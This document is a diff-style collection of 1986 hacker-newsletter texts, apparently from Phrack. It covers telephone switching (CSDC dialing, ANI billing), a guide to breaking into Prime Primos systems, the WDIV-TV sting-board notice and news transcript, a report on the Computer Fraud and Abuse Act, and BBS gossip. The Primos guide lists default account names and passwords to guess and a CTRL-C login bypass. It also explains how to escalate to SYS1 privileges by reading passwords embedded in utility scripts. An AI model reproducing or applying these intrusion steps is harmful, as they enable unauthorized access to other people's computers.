+out will disconnect the call, usually about 10 or 11 seconds.
+
+Centrex/ESSX-1 customers may utilize the CSDC service in several ways if they
+have CSDC terminals with the necessary on premises equipment. The standard
+CSDC call is initiated by dialing the message network access code, (9). The
+dialing sequence is then identical to the plan for MTS:
+
+     #99 AB (1+) 7 or 10 digits (interim plan)
+
+     #56 (10XXX) (1+) 7 or 10 digits (#) (long term plan)
+
+The dialing pattern to establish interCentrex or intraCentrex CSDC calls is as
+follows:
+
+     CSDC access code + extension
+
+An intraCentrex/CSDC call is initiated by dialing the trunk access code
+assigned to route a loop-around Centrex/CSDC trunk group. Next, the extension
+of the desired station is dialed. To establish an interCentrex call a
+different trunk access code must be used to route the CSDC calls to another
+Centrex group instead of a station.
+
+The CSDC maintenance circuit has a dialable digital loopback. This loopback is
+very useful in CSDC testing. A customer can check their access line by dialing
+the test DN. The loop is automatically activated when the call is answered.

+Author Note:
+
+I should begin by saying that there are other files out there about hacking
+Primos, one written recently, that basically tell you nothing at all as far as
+in-depth Primos is concerned. Those files should be deleted and this put in
+its place. This is the first in many files on Primos, and I will go into many
+topics, such as the on-line network, the different subsystems and other
+subjects. Hope you enjoy!
+
+
+*** Gaining Entry Part 1 ***
+
+Gaining entry, as always, is the hardest part.
+
+When you call a Primos system it will connect with something like this:
+
+
+PRIMENET 19.2.7F PPOA1
+
+
+If it doesn't give a welcome msg like above trying typing something like
+"XXZZZUUU" and hit return and it should come back with:
+
+Invalid command "XXZZZUUU".  (logo$cp)
+Login please.
+ER!
+
+To login you type:
+
+LOGIN <USER ID> <RETURN/ENTER>
+
+Or Just:
+
+LOGIN <RETURN/ENTER>
+(Then it will ask for your "User ID?")
+
+
+User ids differ from system to system but there are ALWAYS default accounts to
+try. For "User ID?" try...
+
+SYSTEM (This is the operators account and with it you can usually do
+        anything.)
+LIB
+DOS
+
+After you enter your User ID it will prompt you with:
+
+Password?
+
+This is of course, where you enter your password. For SYSTEM try...
+
+SYSTEM
+SYSMAN
+NETLINK
+PRIMENET
+MANAGER
+OPERATOR
+
+And anything else you can think of. These are just common passwords to these
+defaults.
+
+For LIB try...
+
+LIBRARY
+SYSLIB
+LIB
+SYSTEM
+
+For DOS try...
+
+DOS
+SYSDOS
+SYSTEM
+
+Etc...Just use your brain.
+
+
+*Older Versions*
+
+On older versions of Primos, 18 and below, you could enter one of the system
+defaults above and hit CTRL-C once or twice for the password and it would drop
+you into the system. Whether this is a bug or intentional I don't really have
+any idea. But it does work sometimes. To see what ver of Primos your trying to
+logon to just look at the welcome message when you logon:
+
+PRIMENET 19.2.7F PPOA1
+
+19 is the version number. So thus, if you were logging on to this particular
+Prime you would NOT be able to use the above mentioned bug/default-password.
+
+By the way, if you do not know what version it is (because it did not give you
+a welcome msg when you connected...try to do the above mentioned anyway.)
+
+
+Now, if it says:
+
+
+Invalid user id or password; please try again.
+
+
+Then you must try a different password. Notice, that the system informs you
+that either the User ID, the password or both are wrong. Don't worry about
+this...just hack the defaults. There have been a lot of rumors spreading
+around about common defaults such as: PHANTOM, PRIMOS, PRIME & FAM, but I
+believe this to be a load of shit. I have never seen a system with these
+defaults on them. But, as far as PRIMOS and PRIME go, these are sometimes
+common accounts but I really don't believe that they are defaults. Also try
+accounts like DEMO & GUEST. These are sometimes common accounts (but never
+very often).
+
+Primos does not have limited commands before logon such as Tops 20 and DEC. So
+hacking a Primos is really nothing but taking a guess.
+
+
+** No passwords **
+
+Some users have been known to use a carriage return for their password which
+in other words means, once you enter your user id, your logged in without
+having to enter a password. Sometimes, these are default passwords assigned by
+the system operator, but that is rare. If you can get the format (perhaps you
+already have any account) for the regular user id's, then try passwords like:
+
+NETLINK
+SYSTEM
+PRIME
+PRIMENET
+PRIMOS
+
+And other typical user passwords like sex, hot, love...etc. Most female users
+that I have talked to on a local university prime all seem to have picked
+account that have something to do with sex...sex being the most popular.
+
+
+** The Format **
+
+The format for a user id can be just about ANYTHING the operators or system
+owners want...and they are usually random looking things that make no sense.
+They can be a combination of numbers, numbers and I am almost sure CTRL
+characters can be used. Lower & Upper case do not matter...the system, changes
+all lower case entry to upper case. Passwords can be anything up to 16
+characters in length.
+
+
+** Your In! **
+
+If you get a valid ID/Password you will see something like this:
+
+
+
+PPOA1 (user 39) logged in Monday, 15 Dec 86 02:29:16.
+Welcome to PRIMOS version 19.4.9.
+Last login Friday, 12 Dec 86 08:29:04.
+
+
+Congratulate yourself, you just did something that should be called something
+of an achievement!
+
+The next part will deal with very basic commands for beginners. I would like
+to end this part with a few more words. Yes, Primos is hard to hack, but given
+the time and patience almost every system has those basic demo accounts and
+CAN be hacked. Most hackers tend to stay away from Primes, little knowing that
+Primos is a system that is very entertaining and certainly kept me up late
+hours of the night. Have fun and keep on hacking. If you have any questions or
+comments, or I have made some sort of error, by all means get in touch with me
+at whatever system you have seen me on...
+
+
+** Now For The Good Shit **
+
+This part was originally going to be a beginners introduction to commands on a
+Primos system. Instead I decided to write a part which should help ANYONE with
+a low level account gain system access. I would also like to thank PHRACK Inc.
+on the wonderful job they are doing...without PHRACK I don't really know for
+sure how I would have distributed my files. Oh yes, I know of all the other
+newsletters and the like, but with PHRACK it was only a matter of getting a
+hold of one of the people in charge, which is a simple matter since their
+mailbox number is widely known to the hack/phreak community. I would also like
+to encourage boards of this nature to support PHRACK fully, and I would also
+like to congratulate you guys, once again, for the great job your doing. Now,
+on with the file.
+
+
+
+** Stuff You Should Know **
+
+The explanation I am going to (try to) explain will NOT work all the time...
+probably 60% of the time. Since I discovered this, or at least was the first
+to put it in "print" I would at least ask those system operators out there to
+keep my credits and the credits of my group in this file.
+
+
+** Some More Stuff **
+
+First, this is not exactly a "novice"-friendly file. You should be familiar
+with the ATTACH and SLIST commands before proceeding. They are quite easy to
+learn, and it is really not required to use this file, but just the same,
+these are important commands in learning the Primos system so you should at
+least be familiar with them. To get help on them type:
+
+HELP SLIST
+
+or
+
+HELP ATTACH
+
+You should also play with the commands until you know all of their uses.
+
+
+** Okay, Here We Go **
+
+This file is not going to explain everything I do. I'm just going to show you
+how to get SYS1 privileged accounts.
+
+
+First, log on to your low access account.
+
+Type:
+
+ATTACH MFD
+
+Then get a DIR using:
+
+LD
+
+Okay, your now seeing a dir with a lot of sub-directories. The only files that
+should be in the main directory (most of the time) are BOOT and SYS1. Ignore
+these...look for a file called CCUTIL or something with the word UTILITY or
+UTIL or UTILITIES...something that looks like UTILITY...
+
+
+Okay, ATTACH to that directory with:
+
+ATTACH <NAME OF DIRECTORY>
+
+Now, do an LD again and look at the files. Now, here is the part that is
+really random. Since not every PRIME system will have the same UTILITY
+programs, just look at any that have an extension ".CPL". There might be one
+called USRLST.CPL. Type:
+
+
+SLIST USRLST <NO NEED TO TYPE ".CPL" AT THE END.>
+
+
+Okay, it should be printing a whole bunch of bullshit. Now in this program
+there SHOULD be a line that looks like the following:
+
+
+A CCUTIL X
+
+
+Now, CCUTIL is the name of the dir you are on so I have to point out that
+CCUTIL WILL NOT ALWAYS BE THE NAME OF THAT UTILITY DIRECTORY. So if the name
+of the UTILITY directory you are on is called UTILITY then the line will look
+like this:
+
+
+A UTILITY X
+
+
+Now, the X is the PASSWORD OF THAT DIRECTORY. AGAIN, IT CAN BE ANYTHING. The
+password may be UTILITY which means it will look like this:
+
+
+A UTILITY UTILITY
+
+
+Or the password may be SECRET. So:
+
+
+A UTILITY SECRET
+
+
+Pat yourself on the ass...you know have SYS1 access. Log back in with the
+LOGIN command (or if it doesn't work just LOGOUT and LOGIN again). Enter
+UTILITY or CCUTIL (or WHATEVER THE NAME OF THE DIRECTORY WAS) as the user id.
+Then for the password just enter the password. If this doesn't work, then what
+you will have to do is try out other sub-directories from the MFD directory.
+Then SLIST other programs with the extension. In one of my other PRIME files I
+will fully explain what I have just done and other ways to get the
+directories/ids password.
+
+
+Now, if you don't see any line in the program like:
+
+
+S <NAME OF DIR> <PASSWORD>
+
+
+Then list other programs in the utility program or try other directories. I
+have gained SYS1 access like this 60% of them time. And NOT ALWAYS ON THE
+UTILITY DIRECTORY.
+
+
+That is about it for this file. Stay tuned for a future PHRACK issue with
+another PRIME file from me. If I don't change my mind again, the next file
+will deal with basic commands for beginners.

+                       Automatic Number Idenfification
+
+
+                 Written by Doom Prophet and Phantom Phreaker
+
+
+    Automatic Number Identification (ANI) is nothing more than automatic means
+for immediately identifying the Directory Number of a calling subscriber. This
+process made it possible to utilize CAMA* (Centralized Automatic Message
+Accounting) systems in SxS, Panel, and Xbar #1 offices.
+
+    The identity of the calling line is determined by ANI circuits installed
+in the types of CO's mentioned above. Xbar#5 offices have their own AMA
+(Automatic Message Accounting) equipment and utilize an AMA translator for
+automatically identifying the calling line.
+
+    Before ANI was developed, each subscriber line (also called a local loop)
+had a mechanical marking device that kept track of toll charges. These devices
+were manually photographed at the end of the billing period and the amount of
+the subscribers bill was determined from that. This process was time
+consuming, so a new system (ANI) was developed.
+
+      The major components of the ANI system used in SxS and Crossbar #1 are:
+
+Directory number network and bus arrangement* for connecting the sleeve(the
+lead that is added to the R(ing) and T(ip) wires of a cable pair at the MDF*
+(Main Distribution Frame));
+
+A lead of each line number through an identifier connector to the identifier
+circuit;
+
+Outpulser and Identifier connector circuit to seize an idle Identifier;
+
+Identifier circuit to ascertain the calling party's number and send it to the
+outpulser for subsequent transmission through the outpulser link to the ANI
+outgoing trunk;
+
+An ANI outgoing trunk to a Tandem office equipped with a CAMA system.
+
+    The following is a synopsis of the ANI operations with respect to a toll
+call through a #1Xbar office. The call is handled in the normal manner by the
+CO equipment and is routed through an ANI outgoing trunk to a Tandem office.
+The identification process starts as soon as all digits of the called number
+are received by the CAMA sender in the Tandem office and when the district
+junctor in the Xbar office advances to its cut-through position (a position of
+the connecting circuits or paths between the line-link and trunk-link frames
+in the CO).
+
+      Upon receiving the start identification signal from the CAMA equipment,
+the ANI outgoing trunk (OGT) establishes a connection through an outpulser
+link to an idle outpulser circuit. An idle identifier is then seized by the
+outpulser circuit through an internal Identifier connector unit. Then the
+identifier through the connector unit connects to the directory number network
+and bus system.
+
+    At the same time, the identifier will signal the ANI trunk to apply a
+5800Hz identification tone to the sleeve lead of the ANI trunk. The tone is
+transmitted at a two-volt level over the S lead paths through the directory
+number network and bus system. It will be attenuated or decreased to the
+microvolt range by the time the identifier circuit is reached, necessitating
+a 120dB voltage amplification by the amplifier detector equipment in the
+identifier to insure proper digit identification and registration operations.
+
+    A single ANI installation can serve as many as six CO's in a multi-office
+building. The identifier starts its search for the calling line number by
+testing or scanning successively the thousands secondary buses of each CO.
+When the 5800Hz signal is detected, the identifier grounds corresponding leads
+to the outpulser, to first register the digit of the calling office and then
+the thousands digit of the calling subscriber's number. The outpulser
+immediately translates the digit representing the calling office code into its
+own corresponding three digit office code. The identifier continues its
+scanning process successively on the groups of hundreds, tens, and units
+secondary buses in the calling office, and the identified digits of the
+calling number are also registered and translated in the outpulser's relay
+equipment for transmission to the tandem office.
+The outpulser is equipped with checking and timing features to promptly detect
+and record troubles encountered (This process may be responsible for some of
+the cards found while trashing). Upon completion of the scanning process, it
+releases the identifier and proceeds to outpulse in MF tones the complete
+calling subscriber's number to the CAMA equipment in the tandem office in the
+format of KP+X+PRE+SUFF+ST where the X is an information digit. The
+information digits are as follows:
+
+0-Automatic Identification (normal)     1-Operator Identification (ONI)*
+2-Identification Failure (ANIF)*
+
+(There is also other types of outpulsing of ANI information if the calling
+line has some sort of restriction on it).
+
+    When all digits have been transmitted and the ANI trunk is cut-through for
+talking, the outpulser releases.
+
+    In the tandem office, the calling party's number is recorded on tape in
+the CAMA equipment together with other data required for billing purposes.
+This information, including the time of when the called station answered and
+the time of disconnect, goes on AMA tapes.
+The tapes themselves are usually standard reel to reel magnetic tape, and are
+sent to the Revenue Accounting Office or RAO at the end of the billing period.
+
+    So, to sum the entire ANI process up:
+
+The toll call is made. The CO routes the call through ANI trunks where an idle
+identifier is seized which then connects to the directory number network and
+bus system while signalling the ANI trunk to apply the needed 5800Hz tone to
+the Sleeve. The identifier begins a scanning process and determines the
+calling office number and the digits of the calling subscriber's number, which
+is sent by way of the outpulser in MF tones to the CAMA equipment in the
+tandem office. The call information is recorded onto AMA tapes and used to
+determine billing.
+
+    Note that your number does show up on the AMA tape, if the circumstances
+are correct, (any toll call, whether it is from a message-rate line or from a
+flat-rate line). However, the AMA tapes do not record the calling line number
+in any separated format. They are recorded on a first-come, first-serve basis.
+
+
+Misc. Footnotes (denoted by an asterisk in the main article)
+---------------
+
+* ANIF-Automatic Number Identification Failure. This is when the ANI equipment
+does not work properly, and could occur due to a wide variety of technical-
+ities. When ANIF occurs, something called ONI (Operator Number Identification)
+is used. The call is forwarded to a TSPS operator who requests the calling
+line number by saying something similar to 'What number are you calling from?'
+
+* CAMA-Centralized Automatic Message Accounting. CAMA is a system that records
+call details for billing purposes. CAMA is used from a centralized location,
+usually a Tandem office. CAMA is usually used to serve class 5 End Offices in
+a rural area near a large city which contains a Tandem or Toll Office. CAMA is
+similar to LAMA, except LAMA is localized in a specific CO and CAMA is not.
+
+* The Directory Number Network and bus system is a network involved with the
+ANI process. It is a grid of vertical and horizontal buses, grouped and class-
+ified as Primary or Secondary. There are 100 vertical and 100 horizontal buses
+in the Primary system. In the Secondary system, there are two sub-groups:Bus
+system #1 and Bus system #2, both of which have ten horizontal and vertical
+buses. These buses as a whole are linked to the Identifier in the ANI trunk
+and are responsible for identifying tens, hundreds, thousands and units digits
+of the calling number (After the Identifier begins its scanning process).
+
+* MDF-Main Distribution Frame. This is the area where all cable pairs of a
+certain office meet, and a third wire, the Sleeve wire, is added. The Sleeve
+wire is what is used in gathering ANI information, as well as determining a
+called lines status (off/on hook) in certain switching systems by presence of
+voltage. (voltage present on Sleeve, line is busy, no voltage, line is idle.)
+
+* ONI-Operator Number Identification. See ANIF footnote.
+
+NOTE: There are also other forms of Automatic Message Accounting, such as LAMA
+(Local Automatic Message Accounting). LAMA is used in the class 5 End Office
+as opposed to CAMA in a Toll Office. If your End Office had LAMA, then the ANI
+information would be recorded at the local level and sent from there. The LAMA
+arrangement may be computerized, in which it would denoted with a C included
+(LAMA-C or C-LAMA).

+Posted:   8/20/86 @ 12.08 hours
+
+Greetings:
+
+You are now on THE BOARD, a "sting" BBS operated by MIKE WENDLAND of the
+WDIV-TV I-Team.  The purpose?  To demonstrate and document the extent of
+criminal and potentially illegal hacking and telephone fraud activity by the
+so-called "hacking community."
+
+Thanks for your cooperation.  In the past month and a half, we've received all
+sorts of information from you implicating many of you to credit card fraud,
+telephone billing fraud, vandalism, and possible break-ins to government or
+public safety computers.  And the beauty of this is we have your posts, your
+E-Mail and--- most importantly ---your REAL names and addresses.
+
+What are we going to do with it?  Stay tuned to News 4.  I plan a special
+series of reports about our experiences with THE BOARD, which saw users check
+in from coast-to-coast and Canada, users ranging in age from 12 to 48.  For our
+regular users, I have been known as High Tech, among other ID's.  John Maxfield
+of Boardscan served as our consultant and provided the HP2000 that this "sting"
+ran on.  Through call forwarding and other conveniences made possible by
+telephone technology, the BBS operated remotely here in the Detroit area.
+
+When will our reports be ready?  In a few weeks.  We now will be contacting
+many of you directly, talking with law enforcement and security agents from
+credit card companies and the telephone services.
+
+It should be a hell of a series.  Thanks for your help.  And don't bother
+trying any harassment.  Remember, we've got YOUR real names.
+

+Carman Harlan:  Well we've all heard of computer hackers, those electronic
+                gangsters who try to break into other people's computer
+                systems.  Tonight on the first of a three part news 4 [WDIV-TV,
+                Channel 4 in Detroit] extra, Mike Wendland and the I-Team will
+                investigate how such computer antics jeopardize our privacy.
+                Mike joins us now to tell us what at first may have been
+                innocent fun may now be affecting our pocket books.
+
+Mike Wendland:  Well Carman and Mort, thanks to the media and movies just about
+                everyone knows about hackers and phone phreaks.  By hooking
+                their Apples, their Ataris, and their Commodores into telephone
+                lines these electronic enthusiasts have developed a new form of
+                communication, the computer bulletin board.  There are probably
+                10,000 of these message swapping boards around the country
+                today, most are innocent and worthwhile.  There are an
+                estimated 1,000 pirate or hacker boards where the main
+                activities are electronic trespassing, and crime [Estimates
+                provided by John Maxfield].
+
+[Clipping From Wargames comes on]
+
+                In movies like Wargames computer hackers are portrayed as
+                innocent hobbyist explorers acting more out of mischief than
+                malice.  But today a new generation of hackers have emerged.  A
+                hacker that uses his knowledge of computers to commit crimes.
+                Hackers have electronically broken into banks, ripped off
+                telephone companies for millions of dollars, trafficked in
+                stolen credit card numbers, and through there network of
+                computer bulletin boards traded information on everything from
+                making bombs to causing terrorism.
+
+[Picture of John Maxfield comes on]
+
+John Maxfield:  Well, now there are electronic gangsters, not just electronic
+                explorers they are actually gangsters.  These hackers meet
+                electronically through the phone lines or computer bulletin
+                boards.  They don't meet face to face usually, but it is a
+                semi-organized gang stile activity, much like a street gang, or
+                motorcycle gang.
+
+Mike Wendland:  John Maxfield of Detroit is America's foremost "Hacker
+                Tracker".  He has worked for the F.B.I. and various other law
+                enforcement and security organizations.  Helping catch dozens
+                of hackers around the country, who have used their computers
+                for illegal purposes.  To find out how widespread these
+                electronic gangsters have become, we used John Maxfield as a
+                consultant to setup a so-called "sting" bulletin board [THE
+                BOARD].
+
+                We wrote and designed a special program that would allow us to
+                monitor the calls we received and to carefully monitor the
+                information that was being posted.  We called our undercover
+                operation "The Board", and put the word out on the underground
+                hacker network that a new bulletin board was in operation for
+                the "Elite Hacker".  Then we sat back and watched the computer
+                calls roll in.
+
+                In all we ran our so called "Sting" board for about a month and
+                a half, 24 hours a day, 7 days a week.  We received literally
+                hundreds of phone calls from hackers coast to coast, ranging in
+                age from 17 to 43.  All of them though had one thing in common,
+                they were looking for ways to cheat the system.
+
+                The hackers identified themselves by nicknames or handles like
+                CB radio operators use, calling themselves things like Ax
+                Murderer, Big Foot, and Captain Magic.  They left messages on a
+                variety of questionable subjects, this hacker for instance told
+                how to confidentially eavesdrop on drug enforcement radio
+                conversations.  A New York hacker called The Jolter swapped
+                information on making free long-distance calls through stolen
+                access codes, and plenty of others offered credit card numbers
+                to make illegal purchases on someone else's account.
+
+John Maxfield:  Well these kids trade these credit card numbers through the
+                computer bulletin boards much like they'd trade baseball cards
+                at school.  What we've seen in the last few years is a series
+                of hacker gangs that are run by an adult, sort of the
+                mastermind who stays in the background and is the one who
+                fences the merchandise that the kids order with the stolen
+                credit cards.
+
+Mike Wendland:  Then there were the malicious messages that had the potential
+                to do great harm.  The Repo Man from West Virginia left this
+                message telling hackers precisely how to break into a hospital
+                computer in the Charleston, WV area.
+
+[Picture of Hospital]
+
+                This is where that number rings, the Charleston Area Medical
+                Center.  We immediately notified the hospital that there
+                computer security had been breached.  Through a spokesperson,
+                the hospital said that a hacker had indeed broken into the
+                hospital's computer and had altered billing records.  They
+                immediately tightened security and began an investigation.
+                They caught the hacker who has agreed to make restitution for
+                the damages.  Maxfield says though, "Most such break-ins are
+                never solved".
+
+John Maxfield:  When you are talking about electronic computer intrusion, it's
+                the perfect crime.  It's all done anonymously, it's all done by
+                wires, there's no foot prints, no finger prints, no blood
+                stains, no smoking guns, nothing.  You may not even know the
+                system has been penetrated.
+
+Mike Wendland:  Our experience with the "Sting" bulletin board came to a sudden
+                and unexpected end.  Our cover was blown when the hackers
+                somehow obtained confidential telephone company records.  The
+                result a campaign of harassment and threats that raised serious
+                questions about just how private our supposedly personal
+                records really are.  That part of the story tomorrow.  [For a
+                little more detail about how their cover was "blown" see PWN
+                Issue 7/Part One, "Maxfield Strikes Again."  Heh heh heh heh.]
+
+Mort Crim:  So these aren't just kids on a lark anymore, but who are the
+            hackers?
+
+Mike Wendland:  I'd say most of them are teenagers, our investigation has
+                linked about 50 of them hardcore around this area, but most
+                very young.
+
+Mort Crim:  Far beyond just vandalism!
+
+Mike Wendland:  Yep.

+                information, that was not the only thing they got.
+
+Mike Wendland:  That's right, Carman & Mort.  Our so called sting bulletin
+                board received hundreds of calls from hackers all over America,
+                and even Canada.  They offered to trade stolen credit cards,
+                and they told how to electronically break into sensitive
+                government computers.  But our investigation came to a sudden
+                end when our sting board was stung.  Our cover was blown when
+                a hacker discovered that this man, computer security expert
+                John Maxfield was serving as the I-Team consultant on the
+                investigation.  Maxfield specializes as a hacker tracker and
+                has worked for the F.B.I. and various other police and security
+                agencies.  The hacker discovered our sting board by getting a
+                hold of Maxfield's supposedly confidential telephone records.
+
+John Maxfield:  And in the process of doing that he discovered the real number
+                to the computer.  We were using a different phone number that
+                was call forwarded to the true phone number, he found that
+                number out and called it to discover he was on the sting board.
+
+Mike Wendland:  But the hacker didn't stop at exposing the sting, instead he
+                posted copies of Maxfield's private telephone bill on other
+                hacker bulletin boards across the country.
+
+John Maxfield:  The harassment started, all of the people on my phone bill got
+                calls from hackers.  In some cases their phone records were
+                also stolen, friends and relatives of theirs got calls from
+                hackers.  There was all sorts of other harassment, I got a call
+                from a food service in Los Angeles asking where I wanted the
+                500 pounds of pumpkins delivered.  Some of these kids are
+                running around with guns, several of them made threats that
+                they were going to come to Detroit, shoot me and shoot Mike
+                Wendland.
+
+Mike Wendland:  A spokesperson from Michigan Bell said that the breakdown in
+                security that led to the release of Maxfield's confidential
+                records was unprecedented.
+
+Phil Jones (MI Bell):  I think as a company were very concerned because we work
+                       very hard to protect the confidentially of customer's
+                       records.  [Yeah, right].
+
+Mike Wendland:  The hacker who got a hold of Maxfield's confidential phone
+                records is far removed from Michigan, he lives in Brooklyn, NY
+                and goes by the name Little David [Bill From RNOC].  He says
+                that getting confidential records from Michigan Bell or any
+                other phone company is child's play. Little David is 17 years
+                old.  He refused to appear on camera, but did admit that he
+                conned the phone company out of releasing the records by simply
+                posing as Maxfield.  He said that he has also sold pirated
+                long-distance access codes, and confidential information
+                obtained by hacking into the consumer credit files of T.R.W.
+                Little David says that one of his customers is a skip-tracer, a
+                private investigator from California who specializes in finding
+                missing people.  Maxfield, meanwhile, says that his own
+                information verified Little David's claim.
+
+John Maxfield:  The nearest I can determine the skip-tracer was using the
+                hacker, the 17 year old boy to find out the whereabouts of
+                people he was paid to find.  He did this by getting into the
+                credit bureau records for the private eye.  This is an invasion
+                of privacy, but it's my understanding that this boy was getting
+                paid for his services.
+
+Mike Wendland:  In Long Island in New York, Maxfield's telephone records were
+                also posted on a bulletin board sponsored by Eric Corley,
+                publisher of a hacker newsletter [2600 Magazine].  Corley
+                doesn't dispute the harassment that Maxfield received.
+
+Eric Corley:  Any group can harass any other group, the difference with hackers
+              is that they know how to use particular technology to do it.  If
+              you get a malevolent hacker mad at you there's no telling all the
+              different things that can happen.
+
+Mike Wendland:  What can happen?  Well besides getting your credit card number
+                or charging things to your account, hackers have been known to
+                change people's credit ratings. It is really serious business!
+                And tomorrow night we'll hear about the hacker philosophy which
+                holds that if there is information out there about you it is
+                fair game.
+
+Mort Crim:  "1984" in 1986.
+
+Mike Wendland:  It is!

+Carman Harlan:  News four [WDIV-TV, Channel 4 in Detroit] extra, Mike Wendland
+                and the I-Team look at how these hackers are getting out of
+                hand.
+
+Mike Wendland:  The problem with hackers is not just with mischief anymore,
+                unscrupulous hackers are not only invading your privacy, they
+                are costing you money.  Case and point, your telephone bills,
+                because American telephone companies have long been targets of
+                computer hackers and thieves we are paying more than we should.
+                Experts say the long distance companies lose tens of millions
+                of dollars a year to, these self described "Phone Phreaks."
+
+                For example in Lansing, the Michigan Association of
+                Governmental Employees received a phone bill totalling nearly
+                three hundred and twenty one thousand dollars.  For calls
+                illegally racked up on there credit card by hackers.  Such
+                victims seldom get stuck paying the charges, so hackers claim
+                there piracy is innocent fun.
+
+Phil Jones (MI Bell):  Nothing could be further from the truth, it becomes a
+                       very costly kind of fun.  What happens is that the
+                       majority of the customers who do pay there bills on
+                       time, and do use our service lawfully end up quitting
+                       after that bill.
+
+Mike Wendland:  That's not all, hackers regularly invade our privacy, they
+                leave pirated credit card numbers and information how to break
+                into electronic computer banks on bulletin boards.  Thousands
+                of such electronic message centers exist across the country,
+                most operated by teenagers.
+
+John Maxfield:  There is no law enforcement, no parental guidance, they're just
+                on their own so they can do anything they want.  So the few bad
+                ones that know how to steal and commit computer crimes teach
+                the other ones.
+
+Mike Wendland:  There is very little that is safe from hackers, from automatic
+                teller machines and banks to the internal telephone systems at
+                the White House.  Hackers have found ways around them all
+                hackers even have their own underground publication of sorts
+                that tells them how to do it.
+
+[Close up of publication]
+
+                Its called 2600 [2600 Magazine], after the 2600 hertz that
+                phone phreaks use to bypass telephone companies billing
+                equipment.  It tells you how to find credit card numbers and
+                confidential records in trash bins, break into private
+                mainframe computers, access airline's computers, and find
+                financial information on other people through the nations
+                largest credit bureau, TRW.  2600 is published in a
+                ram-shackled old house at the far end of Long Island, New York
+                by this man, Eric Corley.  He argues that hackers aren't
+                electronic gangsters.
+
+Eric Corley:   We like to call them freedom fighters.  Hackers are the true
+               individuals of the computer revolution, they go were people tell
+               them not to go, they find out things they weren't supposed to
+               find out.
+
+Mike Wendland:  Corley's newsletter supports a hacker bulletin board called the
+                Private Sector.  Last year the F.B.I. raided it.
+
+Eric Corley:  They managed to charge the system operator with illegal
+              possession of a burglary tool in the form of a computer program.
+
+Mike Wendland:  But the bulletin board is still in operation.  Corley resents
+                the suspicion that hackers are involved in criminal activities.
+
+Eric Corley:  Hackers are not the people who go around looking for credit cards
+              and stealing merchandise.  That's common thievery. Hackers are
+              the people who explore.  So basically what we are saying is more
+              knowledge for more people.  That will make it better for
+              everybody.
+
+Mike Wendland:  He claims that hackers, in their own ways, really protect our
+                rights by exposing our vulnerabilities.  Well hackers may
+                expose our vulnerabilities, but they also invade our privacy.
+                There activities have really spotlighted the whole question of
+                privacy raised by the massive files that are now out there in
+                electronic data banks.  Much of that information that we think
+                is personal and confidential is often available to the whole
+                world.

+Computer Hackers Beware! - Senate Passes Computer Fraud And Abuse Act
+------------------------   ------------------------------------------
+On October 2, 1986, the US Senate unanimously passed the Computer Fraud and
+Abuse Act of 1986.  The bill, S. 2281, imposes fines of up to $500,000 and/or
+prison terms of up to 20 years for breaking into government or financial
+institutions' computers.
+
+The Federal Government alone operates more than 18,000 medium-scale and
+large-scale computers at some 4,500 different sites.  The Office of Technology
+Assessment estimates the government's investment in computers over the past
+four years at roughly $60 million.  The General Services Administration
+estimates that there will be 250,000 to 500,000 computers in use by the Federal
+Government by 1990.
+
+In 1984, legislators' attention to and concern about computer fraud was
+heightened by a report by the American Bar Association task force on computer
+crime.  According to the report, based on a survey of 1,000 private
+organizations and public agencies, forty-five percent of the 283 respondents
+had been victimized by some form of computer crime, and more than 25 percent
+had sustained financial losses totaling between an estimated $145 million and
+$730 million during one twelve month period.
+
+To address this problem, the Senate and House enacted, in 1984, the first
+computer statute (18 U.S.C. 1030).  Early this year both the House and Senate
+introduced legislation to expand and amend this statute.
+
+In the current bill, which is expected to be signed by President Reagan next
+week, penalties will be imposed on anyone who knowingly or intentionally
+accesses a computer without authorization, or exceeds authorized access and:
+
+(1) Obtains from government computers information relating to national defense
+    and foreign relations.
+
+(2) Obtains information contained in financial records of financial
+    institutions.
+
+(3) Affects the use of the government's operation of a computer in any
+    department or agency of the government that is exclusively for the use of
+    the U.S. Government.
+
+(4) Obtains anything of value, unless the object of the fraud and the thing
+    obtained consists only of the use of the computer.
+
+(5) Alters, damages, or destroys information in any federal interest computer,
+    or prevents authorized use of any such computer or information.
+
+Under the bill, a person would be guilty of computer fraud if he or she causes
+a loss of $1,000 or more during any one year period.
+
+Depending on the offense, penalties include fines up to $100,000 for a
+misdemeanor, $250,000 for a felony, $500,000 if the crime is committed by an
+organization, and prison terms of up to 20 years.
+
+The bill also prohibits traffic in passwords and other information from
+computers used for interstate or foreign commerce.  This part of the bill makes
+it possible for Federal Prosecutors to crack down on pirate bulletin boards and
+similar operations because the bill covers business computers, online networks,
+and online news and information services, all of which are considered
+interstate commerce.

+    "GTE Develops High-Speed GaAs Multiplexer Combining Four Data Channels"
+
+In an effort to achieve data communication rates of several gigabits per
+second, GTE Labs (Waltham, MA) is combining the high-capacity of fiber optics
+with the high speed of gallium arsenide circuits.  The research arm of GTE has
+designed a GaAs multiplexer that can combine four data channels, each with a
+communication rate of 1 gigabit per second, into one channel.  GTE has also
+recently developed a technique called MOVPE (metal-organic vapor-phase
+epitaxy) for efficiently growing thin-film GaAs crystals.
+
+The new devices should play an important role in future communication systems,
+which will involve high-capacity fiber-optic cables connecting houses and
+offices through telephone switching centres.  Data rates on these cables could
+be as high as 20 gigabits per second.  In addition to standard computer data,
+numerous video channels could be supported, each with a data rate of almost
+100 megabits per second.  The GaAs multiplexers will probably be the only
+devices fast enough to interface houses and offices through this fiber-optic
+grid.  In future supercomputers [misuse of the word -eds.] these multiplexers
+will also be used for high-speed fiber-optic transmissions between various
+boards in the computer, replacing copper wires.  Because of the high-speed
+nature of the fiber-optic link, such techniques may even be used for chip-to-
+chip communication.
+
+GTE said it has completed a prototype of the GaAs multiplexer and a final
+version should be ready in less than a year.
+
+Comments:  And meanwhile, while GTE's been building gigabit/second
+           multiplexers, AT&T Bell Labs is still experimenting with the neuron
+           webs from slug brains...

+Texas Rumors Run Rampant                                      December 24, 1986
+------------------------
+Remember all that controversy about Sir Gamelord being Videosmith?
+
+Well here's the story...
+
+It all started on a conference bridge, where a number of people including Evil
+Jay, Line Breaker [who, indirectly started all of this], and Blade Runner among
+others were having a discussion.
+
+Line Breaker was telling a story of how Videosmith was a fed, how Videosmith
+had busted everyone at a phreak con (or something like that), and how he [Line
+Breaker] and some other people called Videosmith up, pretending to be feds, and
+got him to admit that he did these things.
+
+Blade Runner was terribly pissed at Sir Gamelord (who had recently attempted to
+take over P.H.I.R.M., which is Blade Runner's group).  As a retaliatory strike
+and after hearing this slander upon Videosmith's name, Blade Runner started
+telling people that Sir Gamelord was Videosmith.  The stories have been getting
+more and more exaggerated since then but that is all that really happened.
+
